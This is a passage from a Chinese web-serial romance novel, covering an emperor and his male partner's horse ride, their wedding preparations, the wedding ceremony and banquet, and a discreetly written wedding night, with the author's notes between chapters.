“坐稳了。”萧彻低沉的声音就在林砚耳后响起,带着胸腔的震动,清晰传来。 林砚能感觉到后背传来的温热体温,还有萧彻说话时呼出的气息拂过他耳廓,带着桂花残留的甜香和萧彻身上独有的沉水香气。 萧彻轻轻一夹马腹,抖动缰绳:“驾。” 拂云得到指令,迈开四蹄,小跑起来。 起初只是平稳的慢跑,秋风吹拂在脸上,带着凉意和桂花的余韵,很是舒服,林间光影斑驳,马蹄踏在柔软的草甸上,发出沉闷而有节奏的声响。 萧彻控制着速度和方向,并没有让拂云狂奔,更像是悠闲的漫步。 林砚起初还有些紧张,身体微微僵硬,但很快就在这种平稳的节奏和身后可靠怀抱中放松下来。 他甚至敢松开一只手,指了指远处一片色彩斑斓的树林:“陛下,你看那边,叶子都开始变色了。” “嗯,秋色已浓。”萧彻顺着他指的方向看去,下颌无意间蹭过林砚的鬓角,带来一阵微痒。 林砚缩了缩脖子,感觉那痒意似乎从皮肤钻进了心里。 萧彻似乎察觉到了他的小动作,手臂收拢,将他更紧地圈在怀中。 随着马匹的行进,身体的摩擦不可避免。 林砚能清晰地感受到身后之人紧实的大腿肌肉,以及随着马背起伏,某些部位偶尔传来的微妙挤压感,这让不由自主地想起了那些“适应性训练”,脸颊更是烫得厉害。 这马背上的动静,怎么比在床上还…… 萧彻肯定是故意的! 选这么一匹温顺的马来同乘,根本就是为了方便他贴贴! 萧彻确实很享受这种紧密无间的感觉。 怀中人是真实的,温热的,带着清浅的呼吸和偶尔因为颠簸而发出的细微吸气声,微微低头,就能嗅到林砚发间干净的气息,混合着淡淡的汗意和桂花香。 “含章。”萧彻忽然开口,声音在风中显得格外低沉,“怕吗?” 林砚:“这有什么好怕的?拂云这么乖。”虽然一开始是有点紧张,但现在更多的是心跳加速。 “那就好。”萧彻的声音里带着笑意,“那我们稍微快一点?” 不等林砚回答,萧彻便轻轻一抖缰绳,低喝一声:“驾!” 拂云领会主人的意图,立刻加快了步伐,从悠闲的小跑变成了轻快的奔跑。 风瞬间大了起来,吹得林砚衣袂翻飞,发丝飘扬,眼前的景物加速向后掠去,心跳也跟着马蹄的节奏加快,一种混合着轻微恐惧和极致畅快的感觉油然而生。 他下意识地往后靠了靠,更紧地贴近身后唯一的依靠。 萧彻稳稳地控着缰绳,身体随着马匹的奔跑起伏,每一次都恰到好处地承托住林砚,给予他十足的安全感。 “啊——”林砚忍不住低呼出声,不是因为害怕,而是因为这种风驰电掣般的自由感。 他闭上眼睛,感受着秋风拂面,听着耳边呼啸的风声和有力的心跳声,只觉得心胸都跟着开阔起来。 跑出一段距离后,萧彻渐渐让拂云放缓了速度,最终停在一片视野开阔的小坡上。 坡下是蜿蜒的溪流,在秋日阳光下泛着粼粼波光,远处是层林尽染的山峦,天空湛蓝高远。 两人都微微喘息着,林砚更是因为兴奋和刺激,脸颊泛着健康的红晕,眼睛比刚才还要亮。 “痛快!”林砚长长舒了一口气,转头看向萧彻,笑容灿烂。 萧彻看着他在阳光下生动无比的眉眼,心中一动,低头在他额上印下一个轻柔的吻。 “嗯,痛快。” 林砚愣了一下,随即耳朵尖悄悄红了,却没有躲开,反而往萧彻怀里又蹭了蹭。 两人就这样静静地在马背上相拥,看着眼前开阔的秋日美景,谁也没有再说话。 拂云乖巧地站在原地,偶尔甩甩尾巴,打着响鼻。 阳光暖暖地洒在身上,秋风拂过,带来远山草木的气息。 过了许久,林砚才轻声开口,带着点不易察觉的依赖和满足:“以后,我们还来跑马。” “好。”萧彻应着,收紧了手臂,将下巴轻轻抵在他的发顶,“以后,常来。” 桂花香似乎还在鼻尖萦绕,而怀中的温暖,比任何香气都更让人沉醉。 大抵这便是花不醉人人自醉—— 作者有话说:萧彻:好香。 说的是花还是人就不知道了[狗头] 第115章 第 115 章 明天,他就要和萧彻成…… 日子在期待与忙碌中过得飞快, 转眼便临近中秋。 这日早朝,萧彻颁布了一道旨意,内容是关于调整中秋休沐的。 将八月初十之休沐调至八月十三, 中秋佳节循例休一日, 十四、十六两日亦休,如此便可连休四日, 与民同乐,共庆佳期。 圣旨一下, 满朝文武先是愣怔片刻,随即纷纷出列表示陛下圣明,体恤臣工,实乃仁德之君。 只有林砚站在队列里,嘴角控制不住地微微抽搐。 调休。 竟然是调休。 他万万没想到, 自己穿越到了古代,竟然还能体验到如此具有特色的假期安排。 不过四天假是真香。 一口气连休四天,还是实打实的好事,这意味着除了成亲当天,他和萧彻还有足足三天可以腻在一起,想想就让人心情愉悦。 下朝后, 林砚跟着人流往外走, 脑子里已经开始盘算这四天假期要怎么过了。 是去丹园窝着看书下棋,还是让萧彻再带他去跑马?或者就待在宫里, 享受一下无人打扰的二人世界?或许还可以拉着萧彻微服去街上逛逛,中秋期间的夜市肯定很热闹…… 其实怎么都好,只要是跟萧彻在一起,这种能将工作暂时抛在脑后,全心全意享受私人时光的感觉, 简直不要太美妙。 …… 眨眼的工夫便到了八月十三,假期伊始,文韫叫人去宫里将林砚和萧彻请到丹园。 林砚心知多半是婚服到了,便跟萧彻一块出宫。 这两天他们都在紫极殿待着,反倒是两个要成婚的人显得最为清闲,颇有几分“皇帝不急”的架势,所有杂事都被文韫和李德福安排得妥妥帖帖。 到了丹园,果然看见文韫正指挥着人小心翼翼地展开两套极其华美的婚服。 阳光透过窗棂照在铺开的衣物上,满室流光溢彩,连空气似乎都变得庄重华贵起来。 “快来试试,这是最终的版本了,若有哪里不合身,现在改还来得及。”文韫见到儿子,连忙招手,眼神里满是期待。 林砚的视线立刻被那两套婚服吸引了过去,脚步不自觉地加快了几分。 婚服以最顶级的云锦为主体,在秋日明亮的阳光下,流转着细腻温润、如云似雾的光泽,这种寸锦寸金的料子,本身就如同艺术品,更遑论被精心裁制成如此繁复的礼服。 他的那一套是沉稳而喜庆的深红色,并非寻常可见的正红,色泽更为深邃内敛,衣襟、袖口与袍摆处以金线掺着五彩丝线,精绣着繁复的鸾鸟朝凤与缠枝莲纹,针脚细密到几乎看不见,图案却栩栩如生,仿佛下一刻便要腾空而起,振翅盘旋。 萧彻的那一套则是更为庄重的玄衣纁裳,玄色衣身上以银线绣着腾飞的龙纹,龙身蜿蜒,鳞爪清晰,在深色底料上若隐若现,威仪内蕴,纁色下裳则点缀着精致的山河纹样,象征社稷江山,整套婚服既保留了帝王服饰的威严气度,又因云锦本身的华美质感与婚庆的特定形制而不失喜庆与隆重。 旁边托盘里摆放的头冠更是令人移不开眼。 林砚的头冠是赤金打造,采用极其复杂的累丝工艺,盘绕成繁花与凤鸟的形态,其间镶嵌着大小均匀、光泽莹润的红宝石、珊瑚和珍珠,璀璨夺目,却又层次分明,毫不杂乱,两侧垂下的流苏由细小的金珠和打磨光滑的红玉串成,轻轻晃动间便流光溢彩,叮咚作响。 萧彻的头冠则是十二旒冕冠的改良版,大体保留了帝王冕冠的威仪框架,但细节处更为精巧,旒珠用了更显华贵温润的东珠与罕见的黑珍珠,颗颗圆润饱满,冠身本身也摒弃了过于刻板的传统纹样,雕琢了更为精细生动的龙凤呈祥图案,与婚服上的刺绣遥相呼应,既显身份,又合时宜。 “真隆重。”林砚忍不住感叹,伸手摸了摸那云锦的料子,触手顺滑微凉,像抚过一片凝滞的霞光,又似触及一泓温润的泉水,他几乎能想象到穿上身后,这衣料随着行动会漾开怎样波光粼粼的纹路。 “一辈子就这一次,自然要最好的。”文韫笑着催促,“快,你和陛下都去换上,让我瞧瞧。” 两人相视一笑,去换婚服。 当林砚换好那身深红婚服,戴上那顶分量不轻的金冠走出来时,明显感觉到萧彻的目光瞬间定格在他身上。 萧彻也已穿戴整齐,正站在厅中,深邃的眼眸中清晰地映着他的身影,以及毫不掩饰的惊艳与炽热。 他身量本就比林砚高大挺拔,肩宽腿长,这身庄重威严的婚服更衬得他龙章凤姿,气度迫人。 玄色与纁色的搭配将他原本过于冷峻的气质调和得庄重而典雅,那顶改良的冕冠戴在他头上,东珠旒帘微微晃动,恰到好处地模糊了他眼神中惯有的锐利,平添了几分神秘与俊美,宛若从古典画卷中走出的神明。 文韫看着站在一起的两人,一个华美昳丽,如明珠生辉,一个威仪天成,似山岳凝翠。 站在一起却是说不出的和谐登对,仿佛他们天生就该如此并肩。 文韫满意得直点头,眼眶甚至有些湿润,连声道:“好,好,再合适不过了。” 林砚被萧彻看得有些耳热,心跳也不自觉地漏了几拍,他忍不住小声问他,带着期待:“怎么样?” 萧彻走近两步,旁若无人地替他正了正略微歪斜的冠簪,动作自然而又亲昵,声音低沉而肯定,带着不容错辨的真诚:“甚美,冠盖满京华,不及含章一人。” 文韫瞧着这小两口的互动,心里那点因儿子“嫁”给皇帝的微妙担忧彻底烟消云散,只剩下满满的欣慰。 她笑着道:“既然合身,我便让人仔细收起来,大婚之前可不能再穿了,得好好供着,沾沾喜气。” 两人换回常服,文韫又立刻风风火火地忙开了,她像是上了发条的陀螺,带着一众丫鬟婆子和宫内派来的帮手,里里外外地再次检查、布置丹园,务求每一个细节都尽善尽美,不容有失。 庭院里,廊柱和门楣上都缠绕上了鲜艳欲滴的红绸,悬挂起一个个用红绸精心扎成、缀着金色流苏的大绣球,谓之“结彩”,远远望去,一片锦绣团圆。 大红灯笼被高高挂起,每一只都糊得结结实实,上面贴着笔触浑圆饱满的金色“囍”字,只待夜晚点亮,便能映照出一片温暖喜庆的祥和之光,仆役们细心调整着灯笼的高度和间距,确保光影效果达到最佳。 从大门到正厅,再到婚房,一路都铺设上了崭新的红毡,质地厚实,颜色纯正,踩上去柔软无声,仿佛踏在云端,寓意着新人往后的生活美满顺遂,步步高升。 拜堂的正厅更是布置得一丝不苟,气氛庄重而喜庆。 文韫亲自指挥着人将一张厚重的、擦得光可鉴人的八仙桌摆放在正厅北面正中位置。 桌上立着一对巨大的、装饰着龙凤呈祥图案的红色蜡烛,烛身粗如儿臂,描金绘彩,届时点燃,必定满室生辉,香气氤氲。 因为成亲的是皇帝本人,寻常百姓家常用的“天地君亲师”牌位便免了,显得不合时宜。 不过在萧彻的强烈要求下,林承稷和文韫将作为高堂接受新人的礼拜,因此,八仙桌两侧摆放了两张铺着暗红色团花锦缎的扶手椅,椅背挺直,坐垫柔软,那是给林承稷文韫夫妇准备的,象征着长辈的接纳与祝福。 婚房的布置更是文韫亲自盯着,处处用心,极尽巧思。 考虑到新人都是男子,大红色的锦被上用金线绣着的是姿态亲昵、交颈相依的鸳鸯和并蒂盛开的莲花,纹样精致,寓意夫妻和睦,情意绵长。 被面上没有放置常见的“早生贵子”相关的红枣、花生、桂圆、莲子和石榴,而是换成了象征“百年好合”的百合干花、寓意“红火富贵”的红枣以及“团团圆圆”的桂圆,保留了吉祥的寓意。 床头悬挂着大红色的床幔,是用极为轻薄透气、价值不菲的花罗制成,上面用暗纹织出细密的祥云图案,奢侈而雅致。 窗棂、妆台、甚至角落的屏风上,都贴上了精巧无比的红色剪纸,图案多是形态各异的双喜字、缠枝合欢花、蝴蝶等象征美满团圆、幸福长久的纹样,将整个房间点缀得喜气洋洋,又不落俗套。 新房布置妥当后,文韫便严格禁止林砚和萧彻再踏入,说是要留到成亲当日,才能沾染全新的喜气,图个吉利,两人虽然对里面的具体模样好奇得心痒痒,但也笑着遵从了这份带着美好祝愿的规矩。 婚期近在眼前,除了林砚和萧彻这两个当事人表现得相对淡定,林家上下都沉浸在一种紧张又兴奋的期待中,丹园伺候的下人们走路都带着风,脸上洋溢着与有荣焉的笑容,互相检查着各自的差事,生怕出一丝纰漏。 成亲前一日,林砚和萧彻依礼需要暂时分开,却也只是住在丹园内相邻的不同院子里,并未远离。 林家其他人,包括林承稷、文韫、林墨,都提前住进了丹园,准备迎接第二天的好日子。丹园内一时间住得满满当当,人气十足。 夜色渐深,丹园内却依旧灯火通明,廊下的红绸在带着凉意的晚风中轻轻飘动,灯笼的光晕温柔地洒在庭院里,处处洋溢着静谧而喜庆的气氛。 林砚独自坐在安排给他的房间里,屋内红烛高燃,映得他脸颊也染上了一层薄红。 他听着窗外隐约传来做最后检查巡视的细微脚步声和低语声,心情雀跃。 明天,他就要和萧彻成亲了。 在这个他曾经以为只会充满案牍劳形和职场争斗的古代,他找到了归属,找到了爱人。 林砚低头,看着手腕上萧彻亲手系上至今未曾解下的五色丝,指腹轻轻摩挲着肘后那个散发着清浅兰草香气的香囊,他唇角扬起一个温柔而笃定的弧度。 萧彻此刻就在不远处的另一间屋子里,想必也同他一样,正怀着同样的心情,期待着明天的到来。 月光如水银般,清澈地透过雕花的窗棂洒进屋内,在地面铺开一片柔和的清辉。 一切都已准备就绪,万事俱备,只待明日吉时,钟鼓齐鸣,礼成,缘定—— 作者有话说:第113章修了文,作话发了7000字番外以表歉意,麻烦大家了,给大家鞠躬[合十] 第116章 第 116 章 谨以此书…… 八月十五, 中秋佳节,天公作美,秋光潋滟, 连拂过丹园亭台楼阁的风都带着恰到好处的温柔。 丹园内早已是红绸高挂, 喜字盈窗,一派锦绣团圆的景象, 廊檐下、树枝间,连那池畔的太湖石上都系着精巧的红绸花, 一派锦绣团圆的景象。 空气里弥漫着若有似无的桂花甜香,与这满目喜庆相互交融。 下人们步履轻快,手中捧着各色礼器、果馔,穿梭于庭院回廊之间,脸上都带着与有荣焉的喜气, 却又不敢高声,交谈时都压低了嗓子,只将一份炽热的热闹压在井然有序的忙碌之下 林砚一早便被窗外隐约的人声和鸟鸣吵醒,躺在柔软的床铺上,盯着帐顶繁复的绣花发了会儿呆,才慢吞吞地爬起来。 简单地用过午饭, 稍作休息, 一到未时的那个吉时点,林砚和萧彻就被各自请回了安排好的房间。 林砚这边, 文韫亲自坐镇,指挥着两个伶俐的下人帮林砚沐浴。 巨大的浴桶里盛满了温水,水面上漂浮着晒干的桂花和柏叶,散发着清冽又馥郁的香气,这就是所谓的“洗桂”, 寓意祛秽纳祥,灵魂洁净。 林砚钻进浴桶,温热的水瞬间包裹上来,桂花的甜香和柏叶的微苦交织在一起,倒是挺好闻。 靠在桶壁上,热水蒸得林砚皮肤微微发红,脑子里开始跑马。 礼部真该给他娘发个顾问聘书,专司各种庆典流程优化。 林砚胡思乱想着,差点在浴桶里睡着,直到文韫在外间催促,才赶紧爬出来,浑身都泡得软绵绵的。 擦干身体,换上大婚专用的里衣,这才开始正式穿戴那套华丽沉重的婚服。 一层层衣物套上来,从素纱中单到云锦深衣,再到刺绣繁复的罩袍,最后是那顶分量十足的赤金累丝镶宝头冠压下来,林砚感觉自己像个被精心包装的礼物,行动间环佩叮当,流光溢彩,就是脖子有点受罪。 穿戴整齐,他几乎不敢做大动作,生怕哪根带子没系好,或者哪块玉佩掉下来。 另一边,萧彻的体验也大同小异。 被李德福等人围着,完成了“洗桂”和更衣的过程。 玄衣纁裳加身,十二旒改良冕冠戴上的瞬间,那股属于帝王的威严气度便自然而然地流露出来,只是今日,这份威严中又掺杂了几分显而易见的柔和与期待。 沐浴更衣后,两人被安排在不同的房间里,进行下一项仪式——书写心语。 房间内早已备好了洒金红笺和御制的笔墨,林砚坐在书案前,拈起那支紫毫笔,对着红笺发了会儿呆。 要说点什么好呢? 这是仪式上要读的,大家都能听到,可不能酸唧唧的让人笑话。 林砚琢磨了半天,最终落笔,写的不是什么华丽辞藻,而是些琐碎又真实的念头。 写完,吹干墨迹,小心折好,装入特制的信封。 另一边,萧彻也书写完毕。 负责帮忙传递心语的,是褚晔和赫连锋。 这对难得一见的夫夫,由他们来送这封特殊的“信”,也算是沾沾他们的福气,讨个吉利。 褚晔从林砚手中接过信封时,眼神里的打趣和祝福几乎要溢出来,碍于场合才勉强绷住,赫连锋则是一如既往的沉稳,对着萧彻恭敬行礼后,接过了另一封。 两人交换了信封,分别送到对方手中。 林砚拿到萧彻写的心语,指尖微微发烫,忍住了立刻打开的冲动,将其妥善收好。 吉时将至。 林砚和萧彻各自拿着那柄象征着“合心如意”的半边玉如意,踏出房门。 阳光正好,洒在铺着红毡的道路上。 林墨带着一群衣着鲜艳的丫鬟们,提着装满各色花瓣的花篮,笑盈盈地等在路旁。 两人相向而行,步伐不快,脚步出奇的保持在一致的速度上。 随着他们迈步,女孩子们扬起手,将篮中的花瓣高高抛洒。 粉的、红的、黄的花瓣如同绚丽的雨,纷纷扬扬落下,沾在他们的衣襟上,香气弥漫。 林砚看着同样一身盛装,在花雨中向自己走来的萧彻,心跳不由自主地加快。 萧彻的目光穿越纷飞的花瓣,牢牢锁在他身上,深邃的眼眸里是清晰可见的笑意和温柔。 搞这么浪漫,怪不好意思的。 不过,真好看。 两人在红毡中央汇合,手中的半边玉如意轻轻一碰,严丝合缝地合成一个完整的圆,玉质温润,在阳光下流转着柔和的光泽。 “礼成——”充当司仪的李德福适时高唱,声音里也满是喜悦。 执手相看,两人眼底都映着彼此的倒影,以及那几乎要满溢出来的情意。 接下来便是拜堂。 拜堂前,有下人端上一个盛有清水的铜盆,水中漂浮着细小的桂花。 二人同时将手浸入盆中,仔细净手,微凉的水温洗去了手心的薄汗,也象征着以清洁之身,怀虔诚之心,共结连理。 净手完毕,二人走到厅中。 上首坐着林承稷和文韫。 林承稷努力维持着严肃,但微微颤抖的嘴角泄露了他的激动,文韫则是眼眶微红,脸上是欣慰的笑容。 “一拜天地——”李德福扬声。 二人转身,对着门外天地深深一拜。 谢天地,许此良缘。 “二拜高堂——” 转身,对着林承稷和文韫,郑重下拜。 谢父母,成全之恩。 林承稷和文韫连忙抬手虚扶。 “新人对拜——” 两人相对,目光交织,同时弯腰。 这一拜,许的是彼此,是往后余生风雨同舟。 拜堂礼成,周围响起压抑着的、善意的低笑声和祝贺声。 接着,有人奉上早已准备好的匏瓜,那匏瓜被剖成两半,用红丝线连着,内里斟满了用桂花酿制的甜酒。 二人各执一半。 “饮合卺酒——”李德福唱道。 他们交换手中的匏瓜杯,各自饮下半杯那带着桂花香气的甜酒,酒味清甜,入喉温润,再次交换,将对方杯中剩余的半杯饮尽。 这同饮一卺,象征着一体同心,甘苦与共。 饮罢合卺酒,又有人送上托盘,上面放着剪刀、红丝线和锦绣荷包。 二人各取自己的一缕头发,林砚的是墨黑,萧彻的则更显乌亮。 用那根红色的丝线将两缕头发仔细地束在一起,自此结发,恩爱两不疑。 这束好的“合髻”,被小心地放入那个精致的锦绣荷包中。 这个差事被李莲顺眼明手快地揽了过去,他捧着那荷包,如同捧着稀世珍宝,脸上笑开了花,毕竟这是在皇帝跟前得脸的好差事。 随后,新人执手相对,在所有亲友的见证下,准备宣读之前写好的婚帖心语。 林砚先开口,声音清朗,带着点不易察觉的紧张,将他写的那些“琐碎”念了出来。 没有华丽誓言,却字字真心,听得文韫又忍不住抹了抹眼角。 轮到萧彻,他展开红笺,声音低沉而平稳,目光却始终未离林砚。 他写的更偏重于承诺与未来,是帝王少有的直白情意,听得林砚耳根发热,心里甜得像是又灌了一大杯桂花酿。 心语宣读完毕,两人共同在那份早已备好的大红婚书上,郑重地按下自己的掌印,并签下名字。 李德福上前,双手捧起婚书,当众清晰而缓慢地宣读。 婚书词藻华美,情真意切,将二人的结合赋予了天地共鉴的庄严。 “……谨以此书,昭告于众,永结同心,白首不离。” 李德福最后一个字落下,厅内静了一瞬,随即响起更加真挚的祝贺声。 至此,礼成。 最后一项,是为对方解下冠冕上的红色缨带。这缨带象征着单身身份,解下它,意味着单身生活的结束,从此生命与另一人紧密相连。 两人抬手,为对方小心地解下那根红色的缨带。 萧彻将自己解下的缨带,与从林砚冠冕上解下的那根,并排放在一起,收入袖中。 所有的仪式终于全部完成。 林砚轻轻吁了口气,还是有不真实的感觉在。 他侧过头,看向身边同样卸下了一些沉重冠冕配饰、显得轻松几分的萧彻,正对上他含笑望过来的目光。 周围是亲友的低语和祝福,空气中还残留着桂花的甜香和酒气。 萧彻的嘴角弯起更明显的弧度,在宽大袖袍的遮掩下,轻轻握住了林砚的手。 十指相扣。 仪式既成,接下来便是招待这为数不多的宾客。 除了褚晔和赫连锋这对特邀嘉宾,余下的便是日常能接触到林砚与萧彻并知晓他们关系的核心圈层——如御前得用的李德福、李莲顺,金影卫统领金一还有金九等。 宴席安排在丹园一处临水的暖阁内。 此处视野开阔,可赏中秋明月,又比正厅多了几分私密与温馨。 阁内早已布置妥当,几张紫檀木圆桌上摆满了精心烹制的佳肴,而且很合中秋节的节令,今日不光是林砚和萧彻的成亲之日,也是中秋,中秋的氛围是不会少的。 萧彻此刻虽未刻意摆出帝王架子,但积威犹在,他只需端着酒杯站在那里,便自有一股气场,倒是林砚温和近人,自然而然地担当起活跃气氛的角色。 他拉着萧彻,先来到了林承稷和文韫这一桌。 “父亲母亲,今日辛苦你们了。”林砚端起酒杯,语气里带着感激。 萧彻亦举杯,虽未多言,但态度恭敬跟着林砚叫:“父亲、母亲。” 这一声称呼,叫得林承稷手一抖,酒水差点洒出来,连忙起身,连道“不敢”,文韫则是眼圈又红了红,却是笑着饮下了这杯酒。 林墨在一旁捂嘴偷笑,被文韫嗔怪地看了一眼。 接着便到了褚晔和赫连锋这桌。 褚晔早就按捺不住,见两人过来,立刻挤眉弄眼地端起酒杯:“恭喜恭喜!祝二位永结同心,百年好合!” 赫连锋依旧话不多,只沉稳举杯,言简意赅:“恭喜,珍重。” 林砚笑着与他们碰杯,压低声音对褚晔道:“多谢褚兄的支援。”换来褚晔一个“你懂的”眼神,和赫连锋略带疑惑的一瞥。 李德福、李莲顺、金一等人自然是连道“不敢当主君敬酒”,但在萧彻和林砚的坚持下,也都满饮了一杯,脸上洋溢着激动与荣耀。 今天高兴,萧彻赏了一次又一次,得亏皇帝陛下私产多,否则都怕他破产。 月光透过暖阁的雕花窗棂洒入,与阁内温暖的灯火交融,窗外池水映着圆月,波光粼粼,桂花的香气丝丝缕缕,缠绕在酒杯之间、笑语之中。 宴席终有散时。 宾客们识趣地陆续告退,将剩下的时光完全留给这对新人。 当最后一位客人离开,暖阁内只剩下林砚和萧彻,以及角落里垂手侍立,极力降低存在感的李德福等几个心腹内侍时,周遭瞬间安静下来,只听得见红烛燃烧时轻微的噼啪声。 林砚揉了揉有些笑僵的脸颊,长长地舒了一口气,身心俱疲,却又异常满足。 他转头看向萧彻,发现对方也正凝视着他,目光深邃,在跳跃的烛光下,仿佛蕴藏着无尽的星河与即将燎原的暗火。 “累了?”萧彻的声音比平时更为低沉沙哑,带着一丝紧绷。 林砚下意识地点点头,又摇摇头,实话实说:“有点,但更高兴。” 萧彻低低地“嗯”了一声,伸出手,不是隔着衣袖,而是直接握住了林砚的手腕,指尖在他腕间那根一直未解的五色丝上轻轻摩挲。 “我们也该回房了。”萧彻说道,语气平静。 萧彻平静,林砚不平静。 林砚当然知道回房意味着什么。 那些理论学习和适应性训练的画面不受控制地涌入脑海,让他瞬间口干舌燥,连带着被萧彻握住的手腕都开始发烫 “好、好啊……”林砚听到自己的声音有点发飘。 萧彻没再说话,只是牵着他,稳步向早已布置妥当的婚房走去。 李德福等人远远跟着,保持着恰到好处的距离。 红烛高照,锦被生香。 通往婚房的路,似乎比来时那条铺满花瓣的红毡,还要漫长,还要让人心旌摇曳。 林砚能清晰地感觉到,萧彻握着他的手,收得越来越紧。 怎么办怎么办怎么办。 好紧脏!—— 作者有话说:紧脏不是错别字哦[害羞] 还有,下一章不够三千字,一起更了《 》 【正文完】 第117章 第 117 章 正文完 红绸摇曳的烛光在门扉合拢的轻响中微微晃动, 将满室暖融的光影搅动得如同荡漾的水波。 喧嚣与祝福被隔绝在外,世界骤然收缩,只剩下彼此逐渐清晰的呼吸声, 和那如擂鼓般无法忽视的心跳。 先前饮下的酒, 那点清甜的桂花香气,此刻仿佛在血液里悄然发酵, 蒸腾起朦胧的暖意,萦绕在四肢百骸。 林砚觉得脸颊有些烫, 目光不由自主地飘向那对燃烧着的龙凤呈祥红烛,火苗跳跃,将萧彻的身影在他眼底投下深邃而温柔的轮廓。 萧彻没有立刻动作,他只是静静地站在他面前,深邃的目光如同月下幽潭, 将他从头到脚细细描摹,那视线带着温度,掠过他微红的耳廓,轻颤的睫毛,最终落在他因紧张而微微抿起的唇上。 空气中弥漫着甜香、酒气,还有一种名为“期待”, 无声涌动的暗流。 “含章。”萧彻低声唤他, 嗓音比平日更低沉几分,像陈年的酒滑过喉间, 带着微醺的磁性与不容错辨的珍重。 林砚抬眸看他,撞进那片深邃的海洋,里面清晰地映着跳动的烛火,和他自己有些无措的影子。 他想说点什么,喉咙却有些发干, 最终只是轻轻“嗯”了一声,尾音带着自己都未察觉的微颤。 萧彻伸出手,指尖并未直接触碰他,而是悬停在他冠冕旁那根象征着单身的红色缨带旁。 他的动作很慢,带着一种近乎仪式的郑重感。 林砚屏住了呼吸,看着他修长的手指灵活而轻柔地解开了那最后的束缚。 缨带滑落,被他轻轻放在一旁的红木托盘里,与之前从林砚冠冕上解下的那根并排躺着。 紧接着,是林砚头冠上那根。 当最后的牵绊离去,沉重的赤金头冠被萧彻小心取下,置于案上,林砚顿时觉得颈间一轻,仿佛某种无形的桎梏也随之消散,只剩下发丝披散下来的柔软触感。 轮到林砚为他解下缨带。 他的指尖带着轻微的凉意,触碰到萧彻温热颈侧皮肤时,两人都几不可察地顿了一下。 林砚努力稳住心神,模仿着萧彻方才的动作,小心翼翼地解开了那根玄色缨带。 当它同样被安置在托盘里,与红色的那根相依时,某种圆满的感觉悄然滋生。 卸下了所有象征身份的沉重配饰,两人都只着大红色的婚服里衣,墨发披散,少了几分白日里的庄重华美,却多了几分属于夜晚的私密与亲近。 萧彻牵起他的手,引着他走向铺着大红鸳鸯锦被的床榻,脚步落在柔软的地毯上,无声无息,却仿佛每一步都踏在彼此的心弦上。 在床沿坐下,萧彻微微仰头看着依旧站立的林砚,烛光在他深邃的眼底跳跃,如同暗夜中的星火。 “怕吗?”他问,声音放得极轻,像怕惊扰了这一刻的静谧。 林砚看着他在烛光下显得格外柔和俊美的面容,摇了摇头,又诚实地点了点头,最终小声道:“有一点……但,更多的是想你。” 这句话如同投入静湖的石子,在萧彻眼底漾开层层涟漪,他不再犹豫,伸手揽住林砚的腰,将他带入怀中,一起跌入那片柔软馨香的锦缎之中。 帐幔被无声地放下,隔出一方只属于他们的天地。 光线骤然昏暗下来,唯有烛影透过轻罗帐幔,投下朦胧斑驳的光晕,将一切都渲染得暧昧而模糊。 呼吸交织在一起,温热而潮湿。 最初的吻是轻柔的,带着试探与安抚,如同蝴蝶翅膀拂过花瓣。 唇瓣相贴,辗转厮磨,品尝着彼此口中残留的桂花甜香和那份独属于对方的氣息。 但很快,这温和的试探便如星火燎原,转为更深的索取与纠缠。 萧彻的手掌隔着柔软的里衣,熨帖在林砚的脊背上,带着灼人的温度,缓慢而坚定地游移,所过之处,点燃一簇簇细微的战栗。 林砚忍不住轻哼出声,手臂环上萧彻的脖颈,生涩却又主动地回应着这个逐渐加深的吻,仿佛要将自己彻底融入对方的骨血之中。 衣衫在夜色间不觉已松开了许多,微凉的空气悄然渗入,却又被温度温柔地隔开。 两人似乎都顿了一顿,随即无声地靠得更紧了些。 林砚能感觉到萧彻近在咫尺的呼吸,温热地拂过自己的颈侧,他的手臂环过来,隔着薄薄的衣料,传来稳定而坚实的力量。 窗外朦胧的微光勾勒出对方肩背的轮廓,又隐入昏暗里。 其余的感官都变得格外清晰。 林砚闻到萧彻衣领间那缕熟悉的沉水香,与自己发梢淡淡的桂花气息似有若无地交融着,萦绕在鼻尖,挥之不去。 夜渐渐深了,所有未尽的言语与白日里紧绷的心绪,都在这一方静谧与暖意里缓缓沉淀下去。 萧彻的动作缓慢得近乎折磨,他时刻关注着林砚的反应,用细密的吻和低沉的呢喃安抚着他瞬间的紧绷。 “含章……看着我。”萧彻的声音沙哑得不成样子,汗珠从他额角滑落,滴在林砚的颈窝,带着滚烫的温度。 林晏依言睁开迷蒙的双眼,在昏暗的光线中对上那双燃烧着炽热情感却又竭力维持着最后一丝清明的眸子。 那里面有自己的倒影,有毫不掩饰的渴望,更有深不见底的珍视与爱怜。 仿佛灵魂都被温柔地撬开了一道缝隙,允许另一个灵魂小心翼翼地进驻。 …… 红烛不知何时已然燃尽,最后一点跳动的光晕隐没在黑暗中,只剩下窗外透进来的、清冷的月光,浅浅地勾勒出床上相拥身影的轮廓。 急促的喘息渐渐平复,汗水濡湿了彼此的发鬓,黏腻却不愿分开。 林砚浑身脱力地瘫软在萧彻怀中,连指尖都懒怠动弹,只觉得像是被彻底拆解又温柔地重新拼凑,每一寸骨骼都透着慵懒的酸软,灵魂却轻盈得仿佛要飘起来。 萧彻的手臂依旧牢牢地圈着他,有一下没一下地轻抚着他汗湿的脊背,如同安抚一只餍足的猫。 他在林砚发顶落下一个轻柔的吻,带着事后的温存与满足。 黑暗中,谁也看不清谁的表情,但彼此的心跳声却清晰可闻,渐渐合成同一个频率。 林砚将滚烫的脸颊埋进萧彻的颈窝,嗅着那混合了情动气息的熟悉冷香,许久,才用带着浓重鼻音、沙哑软糯的嗓音,含糊地嘟囔了一句: “萧昭临。” “嗯?”萧彻回应,声音同样低沉沙哑。 “下次,轻点。” 回应他的,是胸腔传来的低沉震动,和落在发间一个带着无尽怜爱与笑意的轻吻。 月光无声,漫过窗棂,温柔地笼罩着这方天地,与帐内重新归于宁静却已然不同的呼吸交融在一起。 长夜未尽,长情不绝—— 作者有话说:大家记得点番外哦[比心]《 》